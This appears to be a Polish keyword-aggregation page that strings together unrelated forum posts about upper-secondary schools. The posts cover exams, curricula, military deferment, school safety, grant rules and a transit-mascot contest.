O stronie ZTM

Cytat:

Bilecik maskotką Zarządu Transportu Miejskiego

Maskotką Zarządu Transportu Miejskiego będzie Bilecik - sympatyczny stworek w czerwonych trampkach, przypominający przedziurkowany bilet komunikacji miejskiej.

Na konkurs wpłynęło 200 prac. Zwycięzca mógł być jednak tylko jeden. Za najlepszy został uznany projekt 10-letniego Jakuba Szymańskiego, ucznia szkoły podstawowej z Drzewicy. Zwycięzca w nagrodę otrzymał laptopa. Aparaty fotograficzne za drugie miejsca trafiły do 10-letniego Mikołaja Wierzbickiego (kategoria: szkoła podstawowa), 14-letniego Pawła Szeląga (gimnazjum), 18-letniej Doroty Walczak (szkoła ponadgimnazjalna) oraz 26-letniej Agnieszki Kulik (uczelnia wyższa). Wyróżnieniami specjalnymi za trzecią lokatę oraz odtwarzaczami mp3 uhonorowane zostały prace: 10-letniej Zosi Skolimowskiej, 14-letniego Adama Hełmińskiego, 17-letniego Przemysława Czerklewicza oraz Małgorzaty Załeckiej.

Prace konkursowe oceniało jury w składzie: Barbara Grzywińska-Doktór, redaktor naczelny Echa Miasta; Grzegorz Niwiński, Prodziekan Wydziału Wzornictwa Przemysłowego Akademii Sztuk Pięknych w Warszawie; Rafał Siekierzyński, Specjalista ds. promocji Radia Kolor; oraz Grażyna Cudak i Anna Michalik z Działu Promocji ZTM.

Dziś (15 grudnia), nastąpiło uroczyste wręczenie nagród w konkursie. Szeregi komisji konkursowej zasilili również: Alicja Strzelczak z TVP Warszawa i prof. Wiktor Jędrzejec, prorektor ASP Warszawa.

Maskotka trafiła już do pracowni wzornictwa przemysłowego ASP.


http://www.ztm.waw.pl/maskotka_wyniki.php

 

Stajnie i trening

A. I Mełnicki, i Mazurek, i Warsztocki. I jeszcze wielu innych.

Szkoła ponadgimnazjalna nie jest obowiązkowa. I nigdy nie była. Nawet jak nie było gimnazjum. Czyli liceum, technikum, szkoła zawodowa nie jest obowiązkowa. Tzn. jeżeli uczeń chce się uczyć, ale są z nim jakieś problemy, szkoła do ukończenia przez niego 18 roku życia musi go trzymać. Natomiast uczeń sam może zrezygnować wcześniej.
Ale nie o to chodzi. Nie wiem, czemu Dadanka upiera się, że każdy młody człowiek, który mieszka na wsi, koniecznie chce ukończyć średnią szkołę, a potem studia. Nie oszukujmy się, nie każdy ma zadatki na "naukowca". Super by było, gdyby tak było! Ale może sie okazać, że taka osoba ma talent jeździecki. Na pewno nie zarabia się na wyścigach kokosów, zdecydowanie lepiej z tym było w czasach PRL. Ale można zacząć tu, a potem jechać dalej. Łatwiej o pracę na zachodzie kiedy ma się solidne podstawy jeździeckie, niż zaczynać od zera. No i sam delikwent sprawdzi, czy jazda go w ogóle kręci. Tak, czy siak, ludzi trzeba ściągać. I każdy sposób jest dobry, byle w zgodzie z prawem. Bo w końcu wyścigi zakończą swoją działalność nie z powodu braku organizatora, ale umrą śmiercią naturalną z powodu braku jeźdźców. Zawodowych! Przed którymi przyszłość.

"Amnestia"...

asiaj, prawo nie może działać wstecz.
A ja kolejny raz czuję się rozgoryczony... Dlaczego? Bo zaufałem.
Bo uwierzyłem, że ten gościu może rzeczywiście zrobi coś konkretnego, że to tylko nagonka itd itp. Ale żeby temat nie został zamknięty to zajmę się merytoryczną wymianą argumentów i przedstawię swoje...
Pożegnanie ze szkołą ponadgimnazjalną jest swego rodzaju wkroczeniem w dorosłość. Nie dla żartów matura była dawniej nazywana egzaminem dojrzałości. Jeżeli ktoś wkraczając w dojrzałość otrzymuje dowód, że nie poniesie konsekwencji swoich wyborów, swojego lenistwa (NIE WIERZĘ, że ktoś, kto dotarł do 3. klasy szkoły ponadgimnazjalnej NIE JEST W STANIE nauczyć się takiej matematyki, żeby zdać 30%!), że wszystko można załatwić politycznie, to jakie to pokolenie będzie?...

[ Dodano: 16-07-2006, 19:29 ]

Egzamin

Cytat:Jakie projekty?! Chyba nauka przed egzaminem.



Cytat:na odreagowanie stresu



^_^

Cytat:Egzamin gimnazjalny - jest prosty i nie ma co się stresować, a tak w ogóle to to o niczym nie decyduje....



nu, w wiekszosci zalezy od niego szkola ponadgimnazjalna =0

 

Służba w siłach zbrojnych RP

Cytat:Przyznam, że nie wiem jak określić (tak na 100%) czy dana buda jest na tyle 'wyględna';> by pozwalało to otrzymać odroczenie...


Każda szkoła ponadgimnazjalna o uprawnieniach szkoły publicznej. Rok rocznie, MEN(Minister edukacji narodowej) publikuję listę tych szkół i Ci którzy mają z tym problem powinni się z tą listą zapoznać(w sensie, sprawdzić, czy ich szkoła rzeczywiście na liście figuruje).
Oprócz tego, jest jeszcze ograniczenie wiekowe - dla szkół ponadgimnazjalnych odroczenie można uzyskać do 22 roku życia, dla szkół policealnych i pomaturalnych do 25, a dla studiów doktoranckich(i ich odpowiedników) do 28 roku życia.
Aha, zaznaczam, żeby nie było, że nie sprawdzałem aktualnego stanu prawnego i piszę z pamięci, więc jak coś, to polecam jednak się zaznajomić z odpowiednimi ustawami i rozporządzeniami.
Aha, jeszcze jedno - od decyzji o przyznaniu bądź nie odroczenia, przysługuje 14 dni na odwołanie i w tym drugim wypadku polecam z tej opcji korzystać, bo czasem właśnie lokalny komendant uzupełnień, ma "śmieszne podejście"... ;>

Czy ksiązki fantasy powinny sie znaleźć w kanonie lektur szk

No a więc przed szkołą ponadgimnazjalną powinno sie omawiać "Hobbita" J.R.R Tolkiena(ja sam nie omawiałem z powodu pewnych niedopowiedzeń między nauczycielami:( [ to było w gimnazjum] a mój bart miał przynajmniej omawiać w 6 podstawówki) W liceum w programie mam do wyboru twórczość Tolkiena albo kogoś innego ale to ma być ta sama tematyka.

Osobiście uważam że mogło by być więcej książek o tej tematyce.:D

--
Jestem jak cień bo mam cień we krwi

używki

Ja tak gwoli przypomnienia. Używki zmorą lednicy. tak.
Propozycja:
1. Spotkania lednickie w prafiach so
2. spotkania przed wyjazdami so
3. o czymś na tych spotkaniach sie mówi?
4. Można przekonać i poświęcić trochę czasu na wyjaśnienie po co sie tam jedzie.
5. Ja organizując wyjazd w mojej szkole, dla moich uczniów (szkoła ponadgimnazjalna) no i oczywiście dla siebie, od razu mówiłem że to nie jest wycieczka, biwak, tylko że jest to ciężki wyjazd, że trzeba będzie się naprawdę natrudzić, pożądnie zmęczyć, więc jeśli ktoś nie da rady to lepiej niech nie jedzie i obejrzy w telewizji i trzyma za nas kciuki.

Przypomniałem ten tema teraz żeby pomyśleć już dziś co zrobiłem, co robię i co mogę zrobić.

Instrukcja P.poż.

Witam !
Jestem tutaj początkującym w zawodzie BHP i podobnie jak kolega rozpoczynający dyskusję zostałem postawiony przed faktem przygotowania ewakuajcji w szkole a waznym elementem tego jest instrukcja ochrony przeciwpożarowej obiektu szkoły. Teorię przeczytałem i mam prosbę do doświadczonych kolegów - czy ktos z was moglby mi udostepnic przykladowa instrukcje dla szkoly, oczywiscie moje bedzie dostosowana dla potrzeb szkoły bo jest to szkoła ponadgimnazjalna zawodowa
Bede wdzieczny za pomoc Tomek

Młodzieżowa Rada Miasta

Wszystkie zasady powoływania i funkcjonowania należy ustalić w statucie. Polecam lekturę „standardów”, które znajdują się na podanej przeze mnie stronie internetowej, ponieważ statut będzie opierał się właśnie na projekcie opracowanym przez Ogólnopolską Federację Młodzieżowych Samorządów Lokalnych.
Każda szkoła ponadgimnazjalna będzie stanowiła jeden okręg wyborczy, któremu zostanie przydzielona odpowiednia liczba mandatów. I wyprzedzam kolejne pytanie – jak będzie wyglądał podział mandatów? To również musi ustalić statut, ale osobiście uważam, że każda szkoła powinna dostać tę samą liczbę mandatów.
Odpowiedź na pytanie Kamila została zawarta w jednym z punktów „standardów”:
„Najbardziej optymalnym czasem trwania kadencji jest okres 2 lat”

szkolenia bhp

Własnie przeczytałem
Siemiątkowski w swoim pisemku też tak napisał "Specjakista ds BHP" Nr. 26 listopad 2007 wydaje:

"... będą mogły prowadzić:
- placówka kształcenia ustawicznego
- placówka kształcenia praktycznego,
- ODDZ
- szkoła ponadgimnazjalna,
- jednostka badawczo-rozwojowa
- szkoła wyższa (inna placówka naukowa),
- stowarzyszenia,
- osoba prawna lub fizyczna prowadząca działaność oświatową
....

No i co? No i Kto?

Jaka szkoła ponadgimnazjalna?

mam do was ogromna proźbę. nie mam pojecia do jakiej średniej szkoły mam isc. moim odwiecznym marzeniem było zostac lekarzem..ale nie sa to jakies głupie, chwilowe wymysły..zawsze tego chciałm...tylko w tym cholernym zyciu zawsze musi byc jakś przeszkoda! kompletnie mnie nie stac na studia medyczne.wiem doskonale o stypendiach i tp. ale to nie załatwi całej sprawy.
Zastanawiałam sie tez nad technikum informatycznym [w mojej okolicy jest takie jedno, ma nawet całkiem niezły poziom nauki] Jestem nawet nieźle obcykana w tych sprawach. Jednak słyszałam, że po technikum jest wiekszy problem dostac sie na studia, a pozatym jest tu k t ó r a ś z was która odwazyła by sie na -musze przyzać-męski zawód? z drugiej strony miałabym odrazu zawód i mniej by mnie to kosztowało. zawsze chciałm pomagac ludzią, a nie siedzieć za jakiś komputerem. jak to możliwe zeby na przeszkodzie stały pieniadze?całe zyce uzaleznione od nich! :evil:

Szkoła Lotnicza W Dęblinie

Wujek byl na polibudzie i po 2 latach mial miec eliminacje na szkolenie na pilota i nie slyszal na jakiejs tam czestotliwosci, na ktorej odbiera sie jakies specyficzne dzwieki i ta czestotliwosc jest absolutnie zbedna, ale go odrzucili. Ponadto podobno maja tam jeszcze mnostwo testow psychologicznych itd, wiec jakikolwiek blad wyklucza bycie pilotem, bo chyba, ze masz ochote na szybowiec, to kto wie.

Wiec przykro mi, ale watpie. Chociaz powiem Ci, ze moze szkola ponadgimnazjalna nie jest tak wymagajaca, spobuj.

Nauczanie indywidualne

Mąż kręci głową, że jak chciałam wojny to będę miała za swoje. Ale ja przecież chciałam tylko jednych zajęć w szkole, to chyba nie niemożliwość! Dostalam nawet takie zaswiadczenie od kardiologa, że zezwala na max. 4 godziny tygodniowo. Właśnie się dowiedziałam, żę szkoła wcale nie ma obowiązku przyjąć Anetę do szkoły w przyszłym roku szkolnym. To zależy tylko od dyrekcji . Ponieważ jest to szkoła ponadgimnazjalna, Aneta ma 20 lat czyli może, ale nie musi uczęszczać do szkoły. Jak mi już zasugerowano poczta pantoflową. Nie wyobrażam sobie Anety bez szkoły, to jej całe życie , ona ciągle tylko o tej szkole gada. Mam nadzieję, że ten człowiek się do tego w swojej zawziętośći nie posunie.

Konsultacje społeczne dotyczące edukacji

Drodzy Państwo nie wyobrażam sobie aby Liceum Kruczkowskiego było jedyną szkoła ponadgimnazjalną na terenie Dzielnicy Ursus. Zupełnie nierozumiem decyzji podjętej przez poprzednią władzę o likwidacji Zespołu Szkół nr 42. Coraz więcej uczniów znowu zaczyna interesować się szkołami zawodowymi. Dobry fach w ręku ponownie się liczy. Wielki popyt na niektóre zawody i specjalizacje powoduje, że coraz trudniej znaleźć takich pracowników na rynku polskim. Nie jest to jeszcze sytuacja kryzysowa, ale już teraz należałoby rozważyć konsekwencje, kiedy brak danych zawodów będzie bardzo dotkliwy dla naszej gospodarki.Obecnie dochodzi do sytuacji, gdy początkujący mechanik samochodowy zarabia 2 do 3 razy więcej niż początkujący pracownik po studiach.
Dziwię się obawom niektórych szanownych uczestników forum przeniesieniu LO i Gimnazjum na ul. Dzieci Warszawy. Budynek obecnego ZS nr 42 nie jest w tak złym stanie jak co niektórym się wydaje a okolica dużo ładniejsza. LO ma w końcu szansę poprawić jakość swojego nauczania a przy odpowiedniej promocji "zaistnieć" na edukacyjnej mapie Warszawy.

I co dalej po gimnazjum ..................

Cytat: szczególnie warto zwrócić uwage na te słowa
Sposób wykonywania obowiązku szkolnego określa ustawa.


No właśnie
Cytat:Konstytucja stanowi inaczej i to chyba ona ma większą moc.


Nie jest konstytucja dokumentem okreslającym ,jak rozumie sie dokładnie podane w niej zapisy.
W "ustawie o systemie oswiaty" pojawiają sie dwa okreslenia: "obowiazek szkolny" -trwa do ukończenia gimnazjum" oraz "obowiazek nauki" -do 18 r. życia - i tu juz niekoniecznie bedzie to szkoła ponadgimnazjalna ale np. tylko przygotowanie zawodowe u pracodawcy lub inne zajęcia prowadzone przez odpowiednie placówki w formach pozaszkolnych.
We wcześniejszych moich słowach może wyraziłam się mało precyzyjnie ale chodziło mi własnie o to, że nauka w szkole ponadgimnazjalnej nie jest jedyną obowiązująca formą dalszego kształcenia. Dlatego - jesli dotyczy to młodziezy pełnosprawnej, jeszcze łatwiej przychodzi osobom odpowiedzialnym za dalszą drogę kształcenia skierować (tak jak mamy w tym przypadku) ucznia niepełnosprawnego tylko do przyuczenia jakiegoś zawodu i to wszystko niestety. Bo wg zapisu z tejże ustawy obowiązek dowozu uczniów niepełnosprawnych (ale czy ruchowo to już raczej nie wynika z zapisu) dot. tylko szkoły podstawowej , gimnazjum i ośrodka umozliwiającego realizację obowiązku szkolnego i obowiązku nauki lub zwrot kosztów dowozu do tychże. Dotyczy to bowiem tylko "obowiązku szkolnego" a nie "obowiązku nauki"...No i tu przydałaby się ta zmiana zapisu...

uczeń z ADHD w klasie

A ja już powoli załamana jestem...
Sprawy rozwinęły się. na jednej z lekcji uczeń pobił kolegę, na oczach nauczyciela. Na kolejnej - 2 tyg temu - próbował zaatakować nauczyciela
Udało sie doprowadzić do spotkania z matką. Matka powiedziała, ze syn ma ADHD i ona nic nie wymyśli. Stwierdziła, że leczy się psychiatrycznie ale leki widać nie działaja. Na spotkaniu mówiliśmy jej, że dalszy pobyt w tej szkole zagraża jemu i innym uczniom. To jest szkoła ponadgimnazjalna, w której są zajęcia praktyczne, z urządzeniami mechanicznymi itd. Brak koncentracji i agresja w połączeniu z dostępem do urządzeń znajdujących się w ruchu jest zagrożeniem. Matka miała próbować znaleźć szkołę bardziej pasującą profilem do możliwości chłopca, tydzień nie było go w szkole. Matka zdecydowała, że syn wraca do nas. I zaczęło się to samo - wrzask, lekcja nie może być doprowadzona do końca, wyzwiska w stronę nauczyciela, obsceniczne komentarze. I powoli nie wiemy co robić. Zachowanie tego chłopca coraz bardziej zagraża. Przy tym wszystkim okazało się, że uczeń ma już kuratora - za pobicia. Wiemy zatem realnie, że moze zrobic krzywdę
Blanka

Nauczycielka

1. Czy motyw rezygnacji był związany z jej:
a. wychowankami?
b. innymi nauczycielami?
c. warunkami pracy?
d. giertychowskimi decyzjami?
2. Czy ważne, że to było po lekcji wychowawczej?
3. W. to:
a. pseudonim,
b. nazwisko,
c. imię?
4. Czy mamy dociec tego, jak brzmi całe W.?
5. Czy mamy dociec tego, jak nazywał się dyrektor?
6. Czy mamy dociec tego, jak nazywali się podopieczni pani W.?
7. Czy ważne jest,jaka to szkoła?
a. podstawówka?
b. gimnazjum?
c. szkoła ponadgimnazjalna?
8. Ważny jest czas wydarzeń?
a. teraźniejszość?
b. przyszłość?
c. przeszłość?
9. Lokalizacja na mapie?
a. Polska?
b. Zagranica?
c. Warszawa?
10. Czy ktoś panią W.:
a. zdenerwował?
b. obraził?
c. uzmysłowil?
d. sprawił swoim zachowaniem, że się rozpłakala?
e. uderzył?
f. wsadził jej kosz na głowę?

Nauczycielka

Cytat:1. Czy motyw rezygnacji był związany z jej:
a. wychowankami? TAK
b. innymi nauczycielami?NIE
c. warunkami pracy?NIE
d. giertychowskimi decyzjami?NIE
2. Czy ważne, że to było po lekcji wychowawczej?Raczej TAK
3. W to:
a. pseudonim, NIE
b. nazwisko, TAK, a dokładniej skrót od nazwiska
c. imię?NIE
4. Czy mamy dociec tego, jak brzmi całe W.?NIE
5. Czy mamy dociec tego, jak nazywał się dyrektor?NIE
6. Czy mamy dociec tego, jak nazywali się podopieczni pani W.?Wszystkie 24 osoby? Jedną możecie podać - tą najważniejszą
7. Czy ważne jest,jaka to szkoła? Raczej TAK
a. podstawówka?NIE
b. gimnazjum?TAK
c. szkoła ponadgimnazjalna?NIE
8. Ważny jest czas wydarzeń?NIE
a. teraźniejszość?
b. przyszłość?
c. przeszłość?
9. Lokalizacja na mapie?NIE
a. Polska?
b. Zagranica?
c. Warszawa?
10. Czy ktoś panią W.:
a. zdenerwował?NIE
b. obraził?NIE
c. uzmysłowil?NIE
d. sprawił swoim zachowaniem, że się rozpłakala?NIE
e. uderzył?NIE
f. wsadził jej kosz na głowę? NIE



Cytat:1.Czy pani W. pracowała od dawna w swojej pracy?
2.Czy uczen/uczniowie ją rozwcieczyli:
a.przez przypadek
b.naumyslnie


1. Tak/nieważne
2. Nie
a. nie
b. nie

Nie działają zasady grupy

Instalowałem pracownie jesień 2002 szkoła ponadgimnazjalna serwer 2000 koncówki XP. Nie były otwierane dodatkowe porty. Myslę ze po wirusie nie mam śladu, serwer i koncówki były instalowane od poczatku, po serwispakach serwera i po zainstalowaniu koncówki też jest uaktualniana, nie był tylko aktualizowany isa serwer bo na forum sbs.2p część wypowiadała się że robi wiekszy balagan zaktualizowany.
Do switcha pracowni jest podłaczonacała sieć szkolna 70 kompów w sumie, a niektórych komputerów nie mozna ruszyć (księgowość, sekretariat) dlatego postawiłem pandę na koncówkach by ewentualnie wyeliminować robaczki wewnatrz sieci. Teoretycznie nie powinno byc ale...
Zastanawiające jest że raz dział wszystko dobrze a za chwilę s..... i potem znowu ok. W tym okresie nie było nic doinstalowywane czy zmieniane.
Nie mogę dojśc przyczyny

Okolice parku

Wstałam i wyciągnęłam plan miasta wraz z rozkładem zajęc. Obkręciłam się w miejscu i podbiegłam do nieznajomych.
-Witam, jestem Dark Blue- przedstawiłam się z uśmiechem- czy moglibyście pokazac mi, gdzie znajduje się szkoła ponadgimnazjalna?? Jestem tutaj nową uczennicą na wymianie i chyba nie mogę się jeszcze odnależc.

Kuchnia polowa ;) (heyasowa, hehe)

Cytat: Odnośnie tych pożegalnych listów to dziwne jest to, że wszystkie powstały w tym samym czasie. Czyżby te 3 osoby to była jedna i ta sama osoba??? to tyle z mojej strony


Emcia i Caterine to są dwie inne osoby, jest dowód - na Naszej Klasie.

Pewnie się umówiły, że napiszą coś takiego a i tak będą przeglądały forum, mogę się z kimś założyć ^^
Co do eMeRki, wszystko kiedyś się kończy, nieodwracalnie.

Szkoła, ach ta szkoła. I ta świadomość, że to ostatnia klasa, testy gimnazjalne a później szkoła ponadgimnazjalna. Ech...

program do liceum - pomocy!!!

Witam
Bardzo dziękuję za pomoc :*
Już zamówiłam :
1) Wygrajmy przyszłość. Scenariusze dla szkół ponadgimnazjalnych. Zajęcia wychowawcze i prorodzinne (książka + CD)
Autor: Barbara Charczuk (pod red.)Wydawca: Rubikon
2) Wychowanie do życia w rodzinie - ćwiczenia, szkoła ponadgimnazjalna. Wędrując ku dorosłości
Autor: Małgorzata Bojarska, Wawrzyniec Kowalski, Teresa Król, Grażyna Mierzejewska, Józef Nowakowski, Maria Ryś Wydawca: Rubikon
3) Wychowanie do życia w rodzinie - podręcznik, szkoła ponadgimnazjalna. Wędrując ku dorosłości
Autor: Teresa Król, Maria Ryś Wydawca: Rubikon

Mam już kilkanaście filmików i jestem w trakcie zapoznawania się z nimi. Mam mało czasu i nie wiem za bardzo od czego zacząć i jak się z tym wszystkim pozbierać ale... łudzę się że mimo wszystko coś wymyślę.
Dziękuję serdecznie za pomoc :*
pozdrawiam

plan wynikowy/rozkłady materiałów - szkoła ponadgimnazjalna

Mam do Państwa ogronmą prośbę. Dopiero raczkuję w nauczaniu tego przedmiotu, więc potrzebuje pomocy.

Ciężko mi zbodyć plan wynikowy/rozkłady materiałów dla szkoły ponadgimnazjalnej (szkoła zawodowa, liceum ogólnokształcące oraz profilowane, technikum). Dlatego jeśli ktoś Państwa zechciałby się podzielić, takimi materiałami, byłabym bardzo wdzięczna.

Moj mail: zlazuzia@interia.eu

Dziękuję serdecznie ...

szkoła ponadgimnazjalna

Witam Wszystkich
Szkoła ponadgimnazjalna, niepubliczna, liceum ZAWODOWE o profilu turystyka, hotelarstwo lub tp. Pieniądze zgodnie z Ustawą pochodzą z subwencji oświatowej i kuratorium nie może się nie zgodzić gdy wymogi formalne zostaną spełnione. Organem prowadzącym może być np. Stowarzyszenie. Różnica finansowa między subwencją i kosztami pokrywane mogą być z fundacji oświatowej na którą wpłaty dokonywać mogą wszyscy z odpisu podatkowego. Ponadto uczniowie mogą podpisywać umowy stypendialne z przyszłymi pracodawcami (stąd profil turystyczno-hotelarski). Dla osób wybierających się na studia możliwość ufundowania stypendium i podpisania umowy na odpracowanie okresu wypłacania stypendium. itd. Szczegóły wkrótce. Pracuje nad tym kilka osób.
Pozdrawiam

Egzamin gimnazjalny a rekrutacja do szkoły średniej

W latach 2009, 2010 i 2011 wynik egzaminu gimnazjalnego z języka obcego nie będzie miał wpływu na rekrutację do szkół ponadgimnazjalnych. Może jednak służyć do przydziału do odpowiedniej grupy językowej, jeśli szkoła ponadgimnazjalna zapewnia podział na grupy językowe według stopnia zaawansowania. Możesz więc być spokojna

Szkoła średnia- LO, LP, Technikum...

Cytat: Najbardziej mi się podobała Dwójka i Dwudziestka


Dwójka ma ten minus, że przez ścianę ma dziewiętnastkę, do której to naprawdę chodzą przedziwni ludzie . Albo nawet kosmici.
Dwudziestka natomiast zawsze kojarzyła mi się z dresiarstwem. Takie odniosłem wrażenie gdy byłem ta 2 lata temu na dniach otwartych.
Ja chodzę do Conradinum i mimo że ostatni remont fundował jeszcze Gierek to nie narzekam. Wszechogarniająca atmosfera odprężenia, mnóstwo ciekawych ludzi (chyba największa szkoła ponadgimnazjalna w Gdańsku). No i ponad 200letnia tradycja ;].

Podstawa programowa

Cytat: Obowiązkowy kanon literatury polskiej według nowej podstawy programowej

Gimnazjum:
• Jan Kochanowski – wybrane fraszki, Treny (V, VII, VIII)
• Ignacy Krasicki – wybrane bajki
• Aleksander Fredro – Zemsta
• Adam Mickiewicz – Dziady cz. II
• Henryk Sienkiewicz – wybrana powieść (Quo vadis, Krzyżacy lub Potop)

Szkoła ponadgimnazjalna:
• Bogurodzica
• Jan Kochanowski – wybrane pieśni, Treny (inne niż w gimnazjum), psalm
• Adam Mickiewicz – Dziady cz. III, Pan Tadeusz
• Bolesław Prus – Lalka
• Stanisław Wyspiański – Wesele
• Bruno Schulz – wybrane opowiadanie
• Witold Gombrowicz – Ferdydurke


dnia Sob 20:27, 14 Lut 2009, w całości zmieniany 1 raz

Ogólniak.

Profil językowy.
BUAHAHAHA.
Przyjęli mnie niestety Y_Y.

No i... Chcialam spytac doswiadczone forumowiczki jaki material sie przerabia w takim Ogólnoksztalcacym Liceum.
Jestem ciemna po angielskiej szkole. Takie som fakty.

Czaje sytuacje, próbuje sie podciagnac.
Tylko z czego?

No i w ogóle moze byc taki temacik o oczekiwaniach/doswiadczeniach/wspomnieniach zwiazanych ze szkola ponadgimnazjalna <3.

Profil językowy, czy to nie zjebanie?

Sobotni bieg śniadaniowy - co o tum sądzicie??

Cytat: Reverdi przyznaj że się wyróżnialiśmy jako Oranjes na trasie:)



Jasne, że tak - o to chyba chodziło
Trochę szkoda, że nie udało się zostać najliczniej reprezentowaną szkołą ponadgimnazjalną; sądząc po liczebności zwycięzców, zabrakło nam niewiele...

Dla chętnych

USA (Polska )

6-12 (7-13) - elementary school (szkola podstawowa)
12-15 (13-16) - middle school/ junior high school (gimnazjum)
15-18 (16-19/20) - high school (liceum/ techniku = szkoła ponadgimnazjalna)

dalej tylko dla polski xD i przyjmujac , ze sie kontynuuje nauke , bez zadnych przerw

19/20-22/23 - licencjat lub tytul inzyniera
22/23-24/25 - mgr

a pozniej jak z tymi doktorami, profesorami itd to juz nie iwem

Kasa

Hej kochani,

Woo..długo mnie na forum nie było Pewnie niektórzy z Was mnie nawet nie kojarzą..
No ale do rzeczy.

Z miłości do zadań ekstremalnych, jak część z Was wie, działam w Akademickim Inkubatorze Przedsiębiorczości, który funkcjonuje przy Wyższej Szkole Bankowej w Toruniu. Dziewczyny z biura marketingu wsb pytały mnie, czy nie znam kogoś z Grudziądza, kto chciałby sobie dorobić. Sprawa wygląda tak, że one organizują jednorazową – póki co – akcję rozdawania uczelnianych ulotek w pierwszy dzień matur (04.05). Każda osoba w godzinach 10-13 stałaby pod inną szkołą ponadgimnazjalną. Wynagrodzenie to 25 zł netto (na rękę). Potrzebuję z Grudziądza max 12 osób. Dajcie info znajomym.

O szczegóły piszcie do mnie na adres: anna.sulikowska@inkubatory.pl. Pod tym adresem przyjmuję też zgłoszenia (max do przyszłej środy).

Ściskam mocno i mam nadzieję, że uda mi się wpaść na jakieś Wasze kolejne spotkanie:)

Ania Sulikowska

Ps. Super baner!

ewaluacja

Witam ponownie,
Nie odzywałam się, bo pomomio,że mam ferie to mam też dość duzo pracy.Ale to chyba jak każdy nauczyciel
Realizujemy projekt z Bułgaria. Jestem z Myszkowa, jest to szkoła ponadgimnazjalna. Tytuł projektu: Mówimy waszym językiem. Jednym z celem projektu i zadań równocześnie jest nauka tych dwóch jezyków: czyli Bułgarzy uczyli się polskiego , a my bułgarskiego- było dosyć zabawnie. Choć zajęć też było, wszystkie soboty przez prawie 3 miesiace.
Przygotowujemy na razie pytania do ewaluacji,a nie same omówienie ewaluacji.
A Pash też Ci mówię - nie przejmuj się - nasz wniosek też odrzucili za pierwszym razem, strona bułgarska nie miała wtedy wystarczajacych funduszy, a teraz mają drugie tyle samo co my. I to jest sprawiedliwość.
Pozdrawiam wszystkich z projektem językowym, bo za dużo to chyba nas nie ma Odezwę się wkrótce.

Szkoła z Belgii poszukuje partnera.

Tak jak w temacie.
Szkoła ponadgimnazjalna z Belgii poszukuje jednego albo dwóch partnerów z Polski, Bułgarii i z Węgier. Temat projektu “CHEZ NOUS COULE…….!” Uczniowie od 12 do 18 roku życia.
Chcą rozpocząć od sierpnia 2004r.
Jeśli ktoś z Państwa jest zainteresowany to chętnie prześlę bliższe informacje mailem.
MJ

tłumaczenie w częściach ABC

Bardzo proszę o odpowiedzi:

1. Czy tytuły projektów w których brały udział szkoły współpracujące powinny być tłumaczone na j. polski? (roboczy jest angielski)?

2. Co tak naprawdę oznacza oficjalna funkcja/ stanowisko przy polu Dyrektor Szkoły? Należy wpisać funkcję w języku danej szkoły? Jak to jest - interesuje mnie wersja dla formularza w j.ang. i polskim.

3. Mam problem z wpisaniem w polskim formularzu rodzaju szkoły: Hiszpania, Niemcy, Włochy podają "secondary", wiek około 10-17. Czy powinnam zaznaczyć zarówno "gimnazjum" i "szkoła ponadgimnazjalna"?

4. W polskiej wersji jest pytanie o "specjalne potrzeby edukacyjne" a w ang. tego nie ma - czy powinnam na własną rękę wpisywać tę informację?

5. Jaki jest standard zapisu nr tel? +48..., 0048..., czy też 48...?

Do której szkoły wybierają się tegoroczni trzecioklasiści?

Dlaczego do Poznania?? Ponieważ z tego, co wiem, w najbliższej okolicy G-dza są tylko licea z klasą o profilu wojskowym. Gwiżdżę na coś takiego, chcę szkoły typowo wojskowej. Po drugie-przyjmują tam dziewczyny. Mam lekką astmę, a z tą chorobą w poznaniu mnie przyjmą. Bo tak w zasadzie wojskowa szkoła ponadgimnazjalna nie ma znaczenia, jeśli ktoś chce pracowac w armii w przyszłości. Liczą się dopiero studia, np. Wyższa Szkoła Oficerska. Stąd takie niskie kryteria wymagań przy poborze do WLO w Poznaniu. Aha, i mają tam internat

kolejne pytanie do "Fryzjer" ;)

po uzyskaniu tytułu technik usług fryzjerskich nie można zrobic czeladnika, bo takim tytułem mogą tylko kończyć zawodówki.
chodze do takiego technikum usług fryzjerskich (szkoła ponadgimnazjalna) i nam mówili że po skończeniu szkoły z uzyzkaniem technika możemy zrobić tylko mistrza po rocznym czy 2 letnim starzu (chodź dziś już nic nie wiadomo bo co chwile coś się zmienia)

Liczba uczniów

Cytat: Czy z wnioskiem należy przedłożyć listę uczniów (szkoła ponadgimnazjalna) jako dowód że 35% uczniów jest zameldowanych w gminach wiejskich?


NIE, nie trzeba przedstawiać imiennej listy uczniów zameldowanych w gminach wiejskich. Wniosek jest traktowany jako deklaracja podpisana przez dyrektora szkoły. W przypadku wykrycia nieprawidłowości szkoła nie otrzyma dotacji.

Jakie szkoły mogą brać udział w programie?

Cytat: Nawiązując do pytania o udział Ośrodka Szkolno-Wychowawczego w projekcie: czy jeśli w skład SOSW wchodzi zasadnicza szkoła zawodowa, to czy w takim przypadku SOSW usytuowany w mieście powiatowym i z liczbą dzieci z gmin wiejskich minimum 35% może wziąć udział w projekcie?


Szkoła zawodowa znajdująca się przy SOSW może wziąć udział w programie na takich samych zasadach jak każda inna szkoła ponadgimnazjalna &#8211; w ogólnej liczbie uczniów szkoły (a nie SOSW) co najmniej 35% musi być zameldowanych w gminach wiejskich

Jakie szkoły mogą brać udział w programie?

Cytat: Nawiązując do pytania o udział Ośrodka Szkolno-Wychowawczego w projekcie: czy jeśli w skład SOSW wchodzi zasadnicza szkoła zawodowa, to czy w takim przypadku SOSW usytuowany w mieście powiatowym i z liczbą dzieci z gmin wiejskich minimum 35% może wziąć udział w projekcie?


Szkoła zawodowa znajdująca się przy SOSW może wziąć udział w programie na takich samych zasadach jak każda inna szkoła ponadgimnazjalna &#8211; w ogólnej liczbie uczniów szkoły (a nie SOSW) co najmniej 35% musi być zameldowanych w gminach wiejskich

Dzień dobry, co znaczy ten znazzek "&#8211" w/w odpowiedzi

babeczka !

Tak więc mam kilka marzeń związanych ze szkołą ponadgimnazjalną.

1. Klasa kontynuująca profil niemiecki - tzn. tak jak do tej pory mam: 6 godzin niemieckiego, 2 angielskiego Chociaż, szczerze powiedziawszy, jest to tylko opcja zastępcza, bo tak naprawdę moim marzeniem jest...

